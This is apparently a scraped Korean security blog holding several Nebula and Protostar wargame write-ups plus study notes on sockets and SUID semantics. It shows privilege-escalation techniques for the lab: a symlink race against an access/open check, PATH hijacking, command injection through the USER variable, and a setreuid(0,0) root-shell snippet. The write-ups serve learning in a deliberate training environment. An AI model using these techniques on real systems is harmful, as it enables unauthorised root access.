이 문제 뭐냐 ㅋㅋㅋ5초만에 품…
이 문제의 의도대로 푼 것 같지 않아서 일단 다시 풀어보겠습니다.

 

우선 처음에 홈디렉토리에 x라는 파일이 있길래
cat x 를 해본 결과

 

이런식으로 너무 아무것도 보이지 않아서 cat x | more 명령어를 해봐서 혹시나 적혀있는게 있을까? 생각해서 봤는데

딱.. 뜨네요 그래서 바로 flag10 비번으로 넣었더니 성공…
일단 처음은 이렇게 풀었고 원래 의도대로 다시 풀어보도록 하겠습니다.

  

[참고]소켓 

http://z1tt3n.tistory.com/16
http://z1tt3n.tistory.com/15

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

#include <stdio.h>

#include <fcntl.h>

#include <errno.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <string.h>

 

int main(int argc, char **argv)

{

  char *file;

  char *host;

 

  if(argc < 3) {

    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

    exit(1);

  }

 

  file = argv[1];

  host = argv[2];

 

  if(access(argv[1], R_OK) == 0) {

    int fd;

    int ffd;

    int rc;

    struct sockaddr_in sin;

    char buffer[4096];

 

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

 

    fd = socket(AF_INET, SOCK_STREAM, 0);

 

    memset(&sin, 0, sizeof(struct sockaddr_in));

    sin.sin_family = AF_INET;

    sin.sin_addr.s_addr = inet_addr(host);

    sin.sin_port = htons(18211);

 

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {

      printf("Unable to connect to host %s\n", host);

      exit(EXIT_FAILURE);

    }

 

#define HITHERE ".oO Oo.\n"

    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {

      printf("Unable to write banner to host %s\n", host);

      exit(EXIT_FAILURE);

    }

#undef HITHERE

 

    printf("Connected!\nSending file .. "); fflush(stdout);

 

    ffd = open(file, O_RDONLY);

    if(ffd == -1) {

      printf("Damn. Unable to open file\n");

      exit(EXIT_FAILURE);

    }

 

    rc = read(ffd, buffer, sizeof(buffer));

    if(rc == -1) {

      printf("Unable to read from file: %s\n", strerror(errno));

      exit(EXIT_FAILURE);

    }

 

    write(fd, buffer, rc);

 

    printf("wrote file!\n");

 

  } else {

    printf("You don't have access to %s\n", file);

  }

} 



 

 

 


vmware로 우분투 켜서 nc –l 18211 로 listen상태로 놓고 했더니 성공!


############################################################################################################ 


다시품..


찾아보니 이 문제는 이 의도가 아니라 race condition 문제이다 
access함수를 사용하여 해당 파일에 대한 접근권한을 체크하고 open함수를 사용한다. 
open함수는 어떠한 파일이 와도 사용할 수 있음(root 파일이여도..r권한만 있으면..)

(위 문제를 예를 들어 설명하자면 access함수를 사용하게 되면 level10계정이 해당 파일을 read할 수 있냐는 의미. 그리고 그 파일을 open해야 함)
그럴 경우 access함수와 open함수 사이에 아주 엄청나게 짧은 시간이지만 취약점이 생긴다.
예를 들어 루트가 open하고자 하는 파일이 만약 해커에 의해 만들어진 심볼릭링크 파일이라면 문제가 발생하게 된다.
이때 심볼릭 링크 파일로 루트 파일을 링크 걸게 될 경우 결국 해커는 루트의 권한으로 조작할 수 있게 된다.


#!/bin/sh
for i in `seq 1000`; do echo "VIDOCQ" >> ~/foo ; done
/home/flag10/flag10 ~/foo 192.168.20.128


#!/bin/sh
rm ~/foo
ln -s /home/flag10/token ~/foo




'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30

 

소켓통신

프로그램과 프로그램과의 통신.
(인터넷에서 통신하느냐, 컴퓨터 내에서 통신하느냐에 등등 사용영역에 따라 다름)

소켓 생성

소켓을 생성한다는 의미는 호스트가 통신을 하기 위해 필요한 리소스를 할당하는 것을 의미.

 

함수 원형

int socket( int domain, int type, int protocol)

  • domain : 소켓의 사용영역 정의.
  • type : 소켓이 데이터를 전송하는데 있어서 사용하게 되는 전송 타입을 설정.
  • protocol : 두 호스트간에 통신을 하는데 있어서 특정 프로토콜을 지정하기 위해 사용.

 

리턴 값

성공 : file descriptor

실패 : -1

 

@domain( 프로토콜 체계)

usr/include/sys/socket.h 에 선언 되어 있는 프로토콜 체계

PF_INET : IPv4 인터넷 프로토콜
PF_INET6 : IPv6 인터넷 프로토콜
PF_LOCAL : Local 통신을 위한 UNIX 프로토콜
PF_PACKET : Low level socket을 위한 인터페이스
PF_IPX : IPX 노벨 프로토콜

- 소켓을 생성할 때 어디서 사용할 것인지 그 환경을 고려하여 프로토콜 체계를 지정해 주면 그 환경에 사용 가능한 소켓이 생성된다.
( 인터넷영역에서 사용할 것인지, 로컬 영역에서 사용할 것인지..)

 

@type ( 소켓의 타입 )

데이터의 전송 타입으로 SOCK_STREAM, SOCK_DGRAM 이 있다.

 

SOCK_STREAM : 연결 지향형 소켓
-에러나 데이터의 손실 없이 무사히 전달.
- 전송하는 순서대로 데이터가 전달.
- 전송되는 데이터의 경계가 존재하지 않음.
=> 신뢰성 있는 순차적인 바이트 기반의 연결 지향 전송 타입.

 

SOCK_DGRAM : 비연결 지향형 소켓
- 전송되는 순서에 상관없이 가장 빠른 전송을 지향.
- 전송되는 데이터는 손실될 수도 있고, 에러가 발생할 수 있음.
- 전송되는 데이터의 경계가 존재.
- 한번에 전송되는 데이터의 크기는 제한.

 

@protocol ( 프로토콜 선택 )

호스트와 호스트 사이에 사용할 프로토콜을 설정.

 

프로토콜 체계가 PF_INET인 경우 다음과 같은 값이 올 수 있다.
- IPPROTO_TCP : TCP를 기반으로 하는 소켓을 생성(연결 지향형 소켓)
- IPPROTO_UDP : UDP를 기반으로 하는 소켓을 생성(비연결 지향형 소켓)

(PF_INET)-(SOCK_STREAM) -(TCP소켓) / (PF_INET)-(SOCK_DGRAM)-(UDP소켓)

  • 1번째와 2번째 인자로 인해 프로토콜은 정해지는 것 처럼 보인다.
  • 따라서 세번째 인자 값에 0 을 입력해도 자동으로 소켓은 생성된다.

세번째 인자값의 활용

  • 하나의 프로토콜 체계 안에서 데이터 전송타입까지 같지만 최종적으로 통신하는 형태가 다른,
    즉 전송 타입은 같지만 그 안에서도 프로토콜이 또 다시 나뉘는 상황에서 이 세번째 인자가 유용한 인자가 된다.
    즉 세번째 인자는 프로토콜을 조금 더 구체화 하기위해 사용된다.

 

 

socket 함수는 위에서 다루었고, 나머지 함수에 대해 아주 간략하게 정리하겠습니다.
bind 함수는 소켓에 IP와 port를 지정해줘서 소켓을 통신에 사용할 수 있도록 준비해줍니다.
listen함수는 client로부터 연결 요청을 대기열에 넣어주는 함수입니다.
accept함수는 대기열에 있는 접속 요청을 받아들이고, client와 통신하는 전용 소켓을 생성합니다.
connect 함수는 서버로 접속을 요청하는 함수입니다.


[참조] 나머지함수 설명은 아래주소에서 참조하세요

http://forum.falinux.com/zbxe/index.php?document_srl=430926&mid=C_LIB


'미분류' 카테고리의 다른 글

codegate vuln - 300  (0) 2015.11.27
PEDA 튜토리얼  (0) 2015.11.27
LOB fedora  (0) 2015.11.09
socketaddr / sockaddr_in  (0) 2015.11.01
White hat 2015 [write-up]  (0) 2015.10.30

 

sockaddr 구조체

소켓 주소를 표현하는 구조체.
TCP/IP만 목적으로 만들어진 것이 아니기 때문에, 다양한 주소체계에 맞게 구조체를 가지고 있다.

 

struct sockaddr
{

sa_family_t sa_family; /* 소켓의 주소체계 */

char sa_data[4]; /* 해당 주소체계에서 사용하는 주소정보 */

}

 

sockaddr_in 구조체

:IPv4 주소체계에서 사용하는 구조체.
소켓 프로그램은 범용 주소 구조체로 sockaddr을 사용하지만, 주소체계의 종류에 따라 별도의 전용 구조체를 만들어 사용하는게 편리하다.

* 소켓 라이브러리는 sockaddr을 사용하므로 라이브러리에 주소 정보를 넘길 때는 sockaddr로 형변환을 하여 넘긴다. 그렇기 때문에 구조체의 크기는 동일.

struct sockaddr_in

{

sin_family_t sin_family /* IPv4주소체계에서 사용하므로 항상 AF_INET */
unist16_t sin_port ; /* 포트 번호 */
struct in_addr sin_addr; /* IP주소를 나타내는 32비트 정수 타입 구조체 */

char sin_zero[8]; /* sockaddr과 같은 크기를 유지 하기 위해 필요한 패딩공간 항상 0 */

}

struct in_addr{

unit32_t s_addr; /* 32비트 IPv4 인터넷 주소 */

}

 

PF_INET주소 체계(Protocol Family)

소켓을 만들 때는 소켓이 사용될 환경을 고려해 프로토콜을 설정해 주어야 한다.
다시 말해 프로토콜 패밀리는 소켓을 생성할 때 이 소켓이 어떤 프로토콜을 사용해 통신을 할지 정해준다. 참고로 소켓은 네트워크 통신을 할 때만 사용되는 것은 아니다.
유닉스 계열의 시스템에서 시스템 내부의 프로세스들끼리 통신을 하기 위해서도 사용된다.
자주 사용되는 PF_INET는 프로토콜 패밀리중 하나다.

AF_INET 주소 체계(Address Family)

주소 구조체 안에 주소 패밀리를 정의할 때 사용.
프로토콜 체계를 나타내는 PF_INET 와 주소체계를 나타내는 AF_INET는 같은 상수 값을 갖는다. 그렇다고 해서 주소정보를 설정하는 부분에 PF_INET를 사용하고 프로토콜 패밀리 정보를 설정하는 부분에 AF_INET을 넣는 것은 좋지 않다.

 

 

 

 

 

'미분류' 카테고리의 다른 글

codegate vuln - 300  (0) 2015.11.27
PEDA 튜토리얼  (0) 2015.11.27
LOB fedora  (0) 2015.11.09
socket 통신 개념  (0) 2015.11.01
White hat 2015 [write-up]  (0) 2015.10.30

 

Pcap 파일이 있길래 칼리리눅스로 scp 명령어를 사용하여 옮기고 wireshark로 덤프내용을 봤습니다.

 

 

Tcp stream을 보았더니

backd00Rmate

'System Hacking > Exploit-exercise' 카테고리의 다른 글

nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30

#Stack00

Solution

#Stack01

Solution

#Stack02

Solution

#Stack03

Solution

#Stack04

Solution

#Stack05

#Stack06

#Stack07

#Stack08

#Stack09

#Stack10

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30

 

아무것도 없다.. 그래서 혹시 숨김파일로 있지않을까? 생각해서 ls –al 을 해봤는데

역시 .ssh파일이 존재했습니다. 그런데 내부에 아무것도 없었다. 그럼 flag05에도 한번해보자.

 

.backup 디렉터리와 .cache , .ssh 디렉터리가 존재했습니다.

퍼미션을 보면 .backup 디렉터리만 접근할 수 있습니다.

 

 

 

내부에 압축파일이 존재했고, tar –xzvf backup-19072011.tgz 명령어를 사용하여 압축을 해제하려고 했지만


퍼미션 문제 때문에 해제를 할 수 없었습니다.

 

 

그래서 압축리스트 들을 살펴보았습니다.

 

이 파일이 r권한이 있으니까 level05 홈디렉터리에 복사해 온 다음 거기서 압축을 풀면
.ssh 디렉터리도 이미 존재하겠다 딱이겠네요.

 

 

압축이 제대로 풀렸고 .ssh 디렉토리 내부를 보면 다음과 같습니다.

이 파일들을 봤으면 바로 ssh 접속해봐야죠

끝!

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29

 

읽을 파일을 파라미터로 주고 flag04를 실행시켜주면 파일 내용을 읽을 수 있다.

이것을 이용해서 쉘을 따야 하는데 ….음 생각좀 해봐야지

 

 

 

이 문제를 좀 시간투자를 했는데 분석도 안하고 그냥 동적으로 어떻게 실행되는구나 하고

풀다보니까 시간이 오래걸렸습니다.운도 없지…

보자마자 심볼릭 링크를 활용하면 되겠구나 싶어서 ln –s /home/flag04/token /tmp/token 이렇게

해주었는데 안되서 한참 고민하다 gdb 로 분석해보았는데 strstr함수가 있었습니다.

내용을 보니 인자 값으로 받은 문자열 중에서 token이라는 문자열이 있으면 안된다고…..

하필 링크파일명이 token이 들어가서 안되었습니다.

 

 

이렇게 심볼릭 링크 파일이 token이 안들어가게 해주면!!

 

Flag04의 password를 얻었습니다 J

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29

 

 

쉘스크립트가 있습니다.
vi 편집기로 열어보도록 하겠습니다.

for문으로 writable.d 디렉터리의 파일을 하나씩 I 변수에 저장시켜줍니다.
그리고 ulimit와 bash –x 명령어를 통해서 음.. 뭐하는 것인지 찾아보겠습니다.

 

Ulimit –t 옵션은 cpu time 5로 제한 한 것 같습니다.
정확히 아직도 무슨동작인지 모르겠으나, 일정시간을 두고 반복하는 것 같다.

그리고 bash –x 명령어를 보면 다음과 같다

디버그 모드로 bash 를 실행시키는 것이라고… 되있다.(2번째 줄을 보면 command / script만 실행 가능한 것 같다.)

 

 


어찌 됬건 cpu time 동안 flag03 계정 권한으로 수행되니까 writable.d 디렉터리에 위 스크립트를 넣고
writable.sh를 실행하게 되면 … 이게 이상하다 바로 안되고 가만히 딴짓하고 오면 되있다ㅡㅡ아직도 그이유모르겠음

 

  

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29
Nebula [Level01]  (0) 2015.10.29


이번에는 SUID에 대해 잘못알고 있었던 내용으로 인해 꽤 오래 삽질했다....


환경

1. /bin/sh 파일 ( rws r-x r-x root root ...)

2. vi /etc/shadow 명령어를 통해서 변경을 하려함.

3. 변경 불가



잘못알고있던 내용 

1. SUID가 걸려있으므로 실행 시 process 소유주 권한으로 파일이 실행될 것이다.

2. vi /etc/shadow 하면 현재 root권한이므로 수정가능할 것이다.




지금부터 정리하겠습니다.




SUID 동작 과정


SUID가 걸린 프로세스를 실행하면 바뀌는것은 EUID가 바뀌는것이다. RUID(즉, uid)는 변함없다. 

자, 지금부터 A(/bin/sh)  B(vi /etc/shadow)라고 가정하자. 물론 A는 SUID걸린 프로그램이다.


1. user1계정이 A를 실행하면 (EUID: root // RUID: user1) 이다.

2. 이때 새로운 프로세스 B를 실행시키면 EUID는 RUID에 맞춰 변경한다. (최근커널에는 보안상)

   (EUID: user1 // RUID: user1)

3. 결국 /etc/shadow는 root파일인데 user1권한으로 vi를 하게 되는 꼴이된다.

4. 결국 수정 불가!!!



하지만 RUID를 못바꾸는 것은 아니다. 아래 예제를보자

-----------------------------------------------------------------------

#include<stdio.h>
int main()
{ 

setreuid(0 , 0);

system("/bin/sh");

return 0;

}

-----------------------------------------------------------------------


이번에는 A라는 프로세스를 위 예제라고 가정하자. 여기서도 마찬가지로 

(rws r-x r-x) 권한을 가지고 있다.


1. user1계정이 저 프로그램을 실행하면 EUID: root // RUID: user1 일 것이다.

2. 그 후 setreuid(0,0)로 인해 현재 EUID:root이니까 RUID도 user1 -> root로 바뀐다.

3. system("/bin/sh")을 실행하면 EUID,RUID 모두 root로 /bin/sh를 실행하게된다.

4. RUID가 root인 쉘 실행 성공!!!!!

5. 프로그램이 종료되면 setreuid의 효력은 없어지고 원래대로 돌아옴



[참고]

https://kldp.org/node/69198

http://idkwim.tistory.com/78




마지막으로 정리를 하자면

일반적으로 EUID와 RUID는 같다. 그렇지만 Setuid가 걸린 프로세스를 실행하게 된다면 EUID는 실행시킨 프로세스의 소유주 권한으로 변경이 된다.

그러다가 실행시킨 프로세스 내부에 어떤 동작을 하는 코드를 만난다? --> ruid가 euid로 변경되는 함수가 없는 한 ruid권한으로 실행된다.  
setuid가 걸린 프로세스 소유주 권한으로 동작시키고 싶으면 ruid를 setuid(geteuid())이런식으로 ruid를 euid로 맞춰줘야함.



'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

실행시켜보니 다음과 같이 출력되었습니다.
gdb로 디버깅 해보도록 하죠.

 

Level01과 별반 다른게 없습니다.
SUID,SGID로 설정하고 getenv함수를 통해 어떤 환경변수 값의 주소를 구한 뒤,
asprintf함수를 사용했습니다. Sprintf하고 포맷이 같은 함수이네요.

먼저 getenv함수부터 보겠습니다.


getenv("USER")라는 것을 알 수 있고 그 리턴 값을 보면 level02를 얻을 수 있습니다.

 

 

그리고 asprintf 함수를 분석해보도록 하겠습니다.

asprintf의 파라미터로는

#1 – 아직안들어감

#2 – "/bin/echo %s is cool"

#3 – level02 ßgetenv함수 결과 값

 

 

이렇게 수행된 후 system함수가 호출된다.

결과적으로 System("/bin/echo level02 is cool"); 인 것을 알 수 있다.

그럼 환경변수 USER에 ;\"/home/level02/test""로 변경해줘서 test파일이 실행되게 해줍니다.


그럼 system("/bin/echo ; "/home/level02/test" is cool")이 되고,
결과적으로 echo명령이 수행된 다음 /home/level02/test 명령이 수행되어 쉘을 얻을 수 있습니다.


<test.c 소스코드>

 

 

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level01]  (0) 2015.10.29

처음 실행했을 때 화면입니다.
"and now what"이라는 문자열을 출력해서 지금 뭐하느냐고 묻는 것 같습니다..맞나
바로 분석해보도록 해보겠습니다.

 

 

 

 

보시면 setresgid함수와 setresuid 함수를 사용하여 SUID,SGID를 설정한 후
System("cmd")를 수행하는 간단한 소스코드입니다.
그러면 system함수의 파라미터로 들어간 0x80485e0의 값을 살펴보도록 하겠습니다.

 

 


bp걸고 실행시켜줍니다.

 

 

 

 

아~ 이래서 실행시키면 and now what? 이라는 문자열이 출력되었군요.
그런데 /usr/bin/env 때문에 echo 명령어를 수행할 때 PATH변수에 저장된 경로를 우선으로 해서 echo 를 실행시킵니다.

 

 

한번 맞는지 현재 PATH 변수에 저장된 경로와 echo의 위치를 살펴보도록 하겠습니다.

살펴본 결과 PATH에 /bin이라는 경로가 등록되어있기 때문에 echo만 입력하여도 수행되는 것을 볼 수 있습니다.

 


그렇다면 현재 echo 가 무조건 실행되니까 PATH변수의 경로를 바꿔줘서 다른 echo파일이 실행되도록 만들어줍니다.

경로를 앞부분에 추가함으로써 우선순위로 참조하게 합니다.
그렇게 되면 /bin/echo파일보다 /home/level01/echo파일이 먼저 참조되어 실행시켜서 쉘을 획득할 수 있습니다.

물론 echo는 /bin/sh을 실행시켜주는 코드입니다.

 

  

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Protostar [stack01 ~ stack05]  (0) 2015.10.31
Nebula [Level05]  (0) 2015.10.30
Nebula [Level04]  (0) 2015.10.30
Nebula [Level03]  (0) 2015.10.30
Nebula [Level02]  (0) 2015.10.29

자야지 ㅂㅂ

+ Recent posts